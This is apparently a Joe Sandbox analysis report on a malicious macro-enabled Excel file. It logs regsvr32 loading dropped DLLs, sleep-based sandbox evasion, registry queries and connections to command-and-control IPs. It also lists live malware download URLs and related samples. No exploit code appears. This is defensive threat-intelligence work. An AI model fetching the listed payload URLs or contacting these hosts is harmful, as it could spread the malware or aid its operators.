Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2016	Thread sleep time: -240000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -165000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -133000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -149000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -256000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -143000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -128000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -129000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -299000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -167000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -158000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep time: -174000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1944	Thread sleep count: 55 > 30
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2788	Thread sleep time: -180000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1944	Thread sleep time: -156000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1944	Thread sleep time: -140000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1944	Thread sleep time: -122000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1944	Thread sleep time: -350000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1944	Thread sleep time: -145000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1944	Thread sleep time: -120000s >= -30000s
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 1944	Thread sleep time: -144000s >= -30000s

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 198.57.200.100 202
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 69.164.207.140 60
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 211.110.44.63 233
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 194.225.58.214 187

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll

Source: regsvr32.exe, 00000004.00000002.2400095571.00000000008F0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: regsvr32.exe, 00000004.00000002.2400095571.00000000008F0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: regsvr32.exe, 00000004.00000002.2400095571.00000000008F0000.00000002.00000001.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Source: C:\Windows\SysWOW64\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting32	Path Interception	Process Injection112	Masquerading11	OS Credential Dumping	Query Registry1	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution43	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Virtualization/Sandbox Evasion1	LSASS Memory	Virtualization/Sandbox Evasion1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Process Injection112	Security Account Manager	Process Discovery11	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer14	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting32	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol3	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Regsvr321	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol24	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery23	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
printouts of outstanding as of 01_20_2021.xlsm	25%	Virustotal		Browse
printouts of outstanding as of 01_20_2021.xlsm	11%	ReversingLabs	Script-Macro.Trojan.Logan

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\by9zwa7p1[1].zip	4%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\xkpffwn[1].zip	4%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\h79fwesfe[1].rar	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\ogsit.dll	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll	4%	ReversingLabs
C:\Users\user\AppData\Local\Temp\zsijkwsd.dll	4%	ReversingLabs

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://198.57.200.100:3786/hy;R	0%	Avira URL Cloud	safe
https://211.110.44.63:5353/	0%	Avira URL Cloud	safe
https://69.164.207.140/	0%	Avira URL Cloud	safe
https://194.225.58.214/5	0%	Avira URL Cloud	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://194.225.58.214/	0%	Avira URL Cloud	safe
https://211.110.44.63/~	0%	Avira URL Cloud	safe
https://194.225.58.214/9	0%	Avira URL Cloud	safe
http://laureys.be/cgi-sys/suspendedpage.cgi	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
https://69.164.207.140:3388/hy	0%	Avira URL Cloud	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
http://cms.ivpr.org/by9zwa7p1.zip	100%	Avira URL Cloud	malware
https://69.164.207.140/q	0%	Avira URL Cloud	safe
https://69.164.207.140:3388/	0%	Avira URL Cloud	safe
http://bafnabrotherskesarwala.com/ys95lm6k.rar	0%	Avira URL Cloud	safe
https://198.57.200.100:3786/	0%	Avira URL Cloud	safe
https://211.110.44.63/h	0%	Avira URL Cloud	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
https://198.57.200.100/	0%	Avira URL Cloud	safe
http://monitrade.net/h79fwesfe.rar	100%	Avira URL Cloud	malware
https://211.110.44.63/	0%	Avira URL Cloud	safe
http://salaodigitalautomovel.pt.deve.pt/d8ms3mljy.zip	100%	Avira URL Cloud	malware
http://www.gastronauts.asia/ylztwx.rar	0%	Avira URL Cloud	safe
http://laureys.be/uzssv27.rar	100%	Avira URL Cloud	malware
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://ocsp.entrust.net0D	0%	URL Reputation	safe
http://artec.com.tr/xkpffwn.zip	100%	Avira URL Cloud	malware
http://servername/isapibackend.dll	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bafnabrotherskesarwala.com	103.11.153.223	true	false	unknown
salaodigitalautomovel.pt.deve.pt	185.32.190.115	true	false	unknown
monitrade.net	192.185.147.185	true	false	unknown
laureys.be	85.17.252.207	true	false	unknown
artec.com.tr	46.28.239.13	true	false	unknown
cms.ivpr.org	64.37.52.138	true	false	unknown
gastronauts.asia	132.148.96.144	true	false	unknown
www.gastronauts.asia	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://laureys.be/cgi-sys/suspendedpage.cgi	false	Avira URL Cloud: safe	unknown
http://cms.ivpr.org/by9zwa7p1.zip	true	Avira URL Cloud: malware	unknown
http://bafnabrotherskesarwala.com/ys95lm6k.rar	false	Avira URL Cloud: safe	unknown
http://monitrade.net/h79fwesfe.rar	true	Avira URL Cloud: malware	unknown
http://salaodigitalautomovel.pt.deve.pt/d8ms3mljy.zip	true	Avira URL Cloud: malware	unknown
http://www.gastronauts.asia/ylztwx.rar	false	Avira URL Cloud: safe	unknown
http://laureys.be/uzssv27.rar	true	Avira URL Cloud: malware	unknown
http://artec.com.tr/xkpffwn.zip	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://198.57.200.100:3786/hy;R	regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://211.110.44.63:5353/	regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://69.164.207.140/	regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp, regsvr32.exe, 0000000E.00000002.2405408190.0000000000590000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/server1.crl0	regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false		high
https://194.225.58.214/5	regsvr32.exe, 00000006.00000002.2400015842.00000000003F9000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://194.225.58.214/	regsvr32.exe, 00000006.00000002.2400015842.00000000003F9000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://211.110.44.63/~	regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://194.225.58.214/9	regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://69.164.207.140:3388/hy	regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://69.164.207.140/q	regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://69.164.207.140:3388/	regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp, regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://198.57.200.100:3786/	regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://211.110.44.63/h	regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://198.57.200.100/	regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp, regsvr32.exe, 0000000E.00000002.2405408190.0000000000590000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://211.110.44.63/	regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp, regsvr32.exe, 0000000E.00000002.2405408190.0000000000590000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false		high
http://servername/isapibackend.dll	regsvr32.exe, 00000002.00000002.2107200716.0000000001D70000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2406809963.0000000001CF0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2112116772.0000000001D50000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.2419749632.0000000000880000.00000002.00000001.sdmp, regsvr32.exe, 00000007.00000002.2113665422.0000000001D90000.00000002.00000001.sdmp, regsvr32.exe, 00000008.00000002.2120190682.0000000001D30000.00000002.00000001.sdmp, regsvr32.exe, 00000009.00000002.2114236047.0000000001D60000.00000002.00000001.sdmp, regsvr32.exe, 0000000A.00000002.2124921151.0000000001DF0000.00000002.00000001.sdmp	false	Avira URL Cloud: safe	low
http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
185.32.190.115	unknown	Portugal	62416	PTSERVIDORPT	false
85.17.252.207	unknown	Netherlands	60781	LEASEWEB-NL-AMS-01NetherlandsNL	false
103.11.153.223	unknown	India	133296	WEBWERKS-AS-INWebWerksIndiaPvtLtdIN	false
46.28.239.13	unknown	Turkey	42910	PREMIERDC-VERI-MERKEZI-ANONIM-SIRKETIPREMIERDC-SHTR	false
198.57.200.100	unknown	United States	46606	UNIFIEDLAYER-AS-1US	true
69.164.207.140	unknown	United States	63949	LINODE-APLinodeLLCUS	true
211.110.44.63	unknown	Korea Republic of	9318	SKB-ASSKBroadbandCoLtdKR	true
192.185.147.185	unknown	United States	26337	OIS1US	false
132.148.96.144	unknown	United States	398101	GO-DADDY-COM-LLCUS	false
64.37.52.138	unknown	United States	33182	DIMENOCUS	false
194.225.58.214	unknown	Iran (ISLAMIC Republic Of)	43965	TUMS-IR-ASIR	true

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	342170
Start date:	20.01.2021
Start time:	16:12:12
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	printouts of outstanding as of 01_20_2021.xlsm
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.expl.evad.winXLSM@41/22@7/11
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsm Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe Excluded IPs from analysis (whitelisted): 93.184.221.240, 2.20.142.209, 2.20.142.210 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, wu.ec.azureedge.net, audownload.windowsupdate.nsatc.net, cs11.wpc.v0cdn.net, hlb.apr-52dd2-0.edgecastdns.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, wu.wpc.apr-52dd2.edgecastdns.net, au-bg-shim.trafficmanager.net, wu.azureedge.net Execution Graph export aborted for target regsvr32.exe, PID 1428 because there are no executed function Execution Graph export aborted for target regsvr32.exe, PID 2372 because there are no executed function Execution Graph export aborted for target regsvr32.exe, PID 2424 because there are no executed function Execution Graph export aborted for target regsvr32.exe, PID 2848 because there are no executed function Execution Graph export aborted for target regsvr32.exe, PID 856 because there are no executed function Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtEnumerateValueKey calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryAttributesFile calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:13:56	API Interceptor	1750x Sleep call for process: regsvr32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
69.164.207.140	Statement of Account as of 01_20_2021.xlsm	Get hash	malicious	Browse
	sample20210120-01.xlsm	Get hash	malicious	Browse
	by9zwa7p1zip.dll	Get hash	malicious	Browse
	Information_265667970.doc	Get hash	malicious	Browse
	Order-565822389.doc	Get hash	malicious	Browse
	Documentation-435217538.doc	Get hash	malicious	Browse
	ghen5nlzip.dll	Get hash	malicious	Browse
	vgw2ufi.jpg.dll	Get hash	malicious	Browse
	Invoice_11_11_2020.xlsm	Get hash	malicious	Browse
	Invoice_12-11-2020.xls	Get hash	malicious	Browse
	q7ad0mzkgif.dll	Get hash	malicious	Browse
	Sales_Invoice_873878_071601_from_Inc.xlsm	Get hash	malicious	Browse
	Invoice_334654_168522_from_Inc.xlsm	Get hash	malicious	Browse
	Invoice_403372_917428_from_Inc.xlsm	Get hash	malicious	Browse
185.32.190.115	Statement of Account as of 01_20_2021.xlsm	Get hash	malicious	Browse	carzone.deve.pt/s3zpciz99.rar
85.17.252.207	sample20210120-01.xlsm	Get hash	malicious	Browse	laureys.be/uzssv27.rar
46.28.239.13	sample20210120-01.xlsm	Get hash	malicious	Browse	artec.com.tr/xkpffwn.zip
198.57.200.100	Statement of Account as of 01_20_2021.xlsm	Get hash	malicious	Browse
	sample20210120-01.xlsm	Get hash	malicious	Browse
	by9zwa7p1zip.dll	Get hash	malicious	Browse
	Amazon_eGift-Card.451219634.doc	Get hash	malicious	Browse
	Order_Gift_Card.961396645.doc	Get hash	malicious	Browse
	eGift-CardAmazon.907427310.doc	Get hash	malicious	Browse
	Gift_Card_209788849.doc	Get hash	malicious	Browse
	Order_Gift_Card_411022863.doc	Get hash	malicious	Browse
	Amazon_Gift-Card.579177920.exe	Get hash	malicious	Browse
	Amazon_eGift-Card_579366314.exe	Get hash	malicious	Browse
	pzxrk4325.dll	Get hash	malicious	Browse
	Gift_Card-.exe	Get hash	malicious	Browse
	nsetldk.dll	Get hash	malicious	Browse
	Gift_Card-20513935.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
artec.com.tr	sample20210120-01.xlsm	Get hash	malicious	Browse	46.28.239.13
monitrade.net	sample20210120-01.xlsm	Get hash	malicious	Browse	192.185.147.185
laureys.be	sample20210120-01.xlsm	Get hash	malicious	Browse	85.17.252.207

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LEASEWEB-NL-AMS-01NetherlandsNL	sample20210120-01.xlsm	Get hash	malicious	Browse	85.17.252.207
	VCS58GQMhuCYghC.exe	Get hash	malicious	Browse	5.79.70.98
	FHT210995.exe	Get hash	malicious	Browse	37.48.65.150
	Statement for T10495.jar	Get hash	malicious	Browse	212.32.237.90
	CQcT4Ph03Z.exe	Get hash	malicious	Browse	37.48.65.150
	Y75vU558UfuGbzM.exe	Get hash	malicious	Browse	5.79.70.98
	SHEXD2101127S_ShippingDocument_DkD.xlsx	Get hash	malicious	Browse	37.48.65.148
	tcwO1bua5E.exe	Get hash	malicious	Browse	5.79.72.163
	87e8ff5c51e0.xls	Get hash	malicious	Browse	5.79.72.163
	equinix-customer-portal.apk	Get hash	malicious	Browse	37.48.77.161
	z9TZyyfUsq.exe	Get hash	malicious	Browse	37.48.65.150
	YvGnm93rap.exe	Get hash	malicious	Browse	37.48.65.150
	5DY3NrVgpI.exe	Get hash	malicious	Browse	37.48.65.149
	anydesk (1).exe	Get hash	malicious	Browse	178.162.151.213
	T0pH7Bimeq.exe	Get hash	malicious	Browse	37.48.65.151
	c6Rg7xug26.exe	Get hash	malicious	Browse	212.32.237.101
	parler.apk	Get hash	malicious	Browse	37.48.77.180
	parler.apk	Get hash	malicious	Browse	37.48.77.162
	Request for Quote_SEKOLAH TUNAS BAKTI SG.doc__.rtf	Get hash	malicious	Browse	5.79.72.163
	http://search.hwatchtvnow.co	Get hash	malicious	Browse	178.162.133.149
PTSERVIDORPT	Statement of Account as of 01_20_2021.xlsm	Get hash	malicious	Browse	185.32.190.115
	EAvDkVMy22.doc	Get hash	malicious	Browse	185.32.188.19
	cUv4fniDWj.doc	Get hash	malicious	Browse	185.32.188.19
	UAM4Ec26io.doc	Get hash	malicious	Browse	185.32.188.19
	WtmfKeL3bS.doc	Get hash	malicious	Browse	185.32.188.19
	20OetOSFOv.doc	Get hash	malicious	Browse	185.32.188.19
	rJ6LBcOAZ7.doc	Get hash	malicious	Browse	185.32.188.19
	p0MPFx4N7y.doc	Get hash	malicious	Browse	185.32.188.19
	ps5ZCs1aiT.doc	Get hash	malicious	Browse	185.32.188.19
	b0YjMtDv32.doc	Get hash	malicious	Browse	185.32.188.19
	PsE3ZwU4Yh.doc	Get hash	malicious	Browse	185.32.188.19
	KJHzM29Bgx.doc	Get hash	malicious	Browse	185.32.188.19
	kck5b6zy6e.doc	Get hash	malicious	Browse	185.32.188.19
	Xe0OLFzjRy.doc	Get hash	malicious	Browse	185.32.188.19
	iQbpPSLytp.doc	Get hash	malicious	Browse	185.32.188.19
	pxVglLqCsa.doc	Get hash	malicious	Browse	185.32.188.19
	ai76sn4zOU.doc	Get hash	malicious	Browse	185.32.188.19
	jWyAXi88gm.doc	Get hash	malicious	Browse	185.32.188.19
	dWMVGY2xXo.doc	Get hash	malicious	Browse	185.32.188.19
	R1RiBRChvm.doc	Get hash	malicious	Browse	185.32.188.19
WEBWERKS-AS-INWebWerksIndiaPvtLtdIN	payment infirmation.exe	Get hash	malicious	Browse	206.183.111.188
	User Credentials.doc	Get hash	malicious	Browse	103.212.121.59
	E-Statement.exe	Get hash	malicious	Browse	103.212.121.190
	CV_SrinivasaBabuAdhikari.pdf.exe	Get hash	malicious	Browse	103.212.121.190
	STS CARGO SHIPMENT.exe	Get hash	malicious	Browse	103.212.121.190
	HSBC Payment Advice.exe	Get hash	malicious	Browse	103.212.121.190
	990109.exe	Get hash	malicious	Browse	150.242.140.16
	https://upinsmokebatonrouge.com/var/kZKk4S0XnGUwc0OKsia1/	Get hash	malicious	Browse	103.86.176.8
	Document-63665398-12152020.xls	Get hash	malicious	Browse	43.240.64.184
	Za1rZVzIOp.xls	Get hash	malicious	Browse	103.251.24.140
	document-837747519.xls	Get hash	malicious	Browse	43.241.71.20
	document-837747519.xls	Get hash	malicious	Browse	43.241.71.20
	SecuriteInfo.com.Trojan.Packed2.41837.21003.exe	Get hash	malicious	Browse	150.242.14.61
	Smpp Route.exe	Get hash	malicious	Browse	150.242.14.61
	Inv.exe	Get hash	malicious	Browse	103.119.239.28
	http://technoraga.com/Doc.htm	Get hash	malicious	Browse	103.212.121.61
	z865yM9Ehy.exe	Get hash	malicious	Browse	150.242.14.61
	kvdYhqN3Nh.exe	Get hash	malicious	Browse	150.242.140.16
	intelgraphics.exe	Get hash	malicious	Browse	150.242.14.61
	Quotation.exe	Get hash	malicious	Browse	103.86.177.235

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
eb88d0b3e1961a0562f006e5ce2a0b87	Statement of Account as of 01_20_2021.xlsm	Get hash	malicious	Browse	194.225.58.214
	sample20210120-01.xlsm	Get hash	malicious	Browse	194.225.58.214
	sample20210113-01.xlsm	Get hash	malicious	Browse	194.225.58.214
	INV8222874744_20210111490395.xlsm	Get hash	malicious	Browse	194.225.58.214
	Inv0209966048-20210111075675.xls	Get hash	malicious	Browse	194.225.58.214
	INV2680371456-20210111889374.xlsm	Get hash	malicious	Browse	194.225.58.214
	INV8073565781-20210111319595.xlsm	Get hash	malicious	Browse	194.225.58.214
	INV3867196801-20210111675616.xlsm	Get hash	malicious	Browse	194.225.58.214
	INV9698791470-20210111920647.xlsm	Get hash	malicious	Browse	194.225.58.214
	INV7693947099-20210111388211.xlsm	Get hash	malicious	Browse	194.225.58.214
	Document74269.xls	Get hash	malicious	Browse	194.225.58.214
	Document74269.xls	Get hash	malicious	Browse	194.225.58.214
	1 Total New Invoices-Monday December 14 2020.xls	Get hash	malicious	Browse	194.225.58.214
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse	194.225.58.214
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse	194.225.58.214
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse	194.225.58.214
	1-Total New Invoices Monday Dec 14 2020.xlsm	Get hash	malicious	Browse	194.225.58.214
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse	194.225.58.214
	1 Total New Invoices-Monday December 14 2020.xlsm	Get hash	malicious	Browse	194.225.58.214
	SecuriteInfo.com.Heur.15645.xlsm	Get hash	malicious	Browse	194.225.58.214

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 58936 bytes, 1 file
Category:	dropped
Size (bytes):	58936
Entropy (8bit):	7.994797855729196
Encrypted:	true
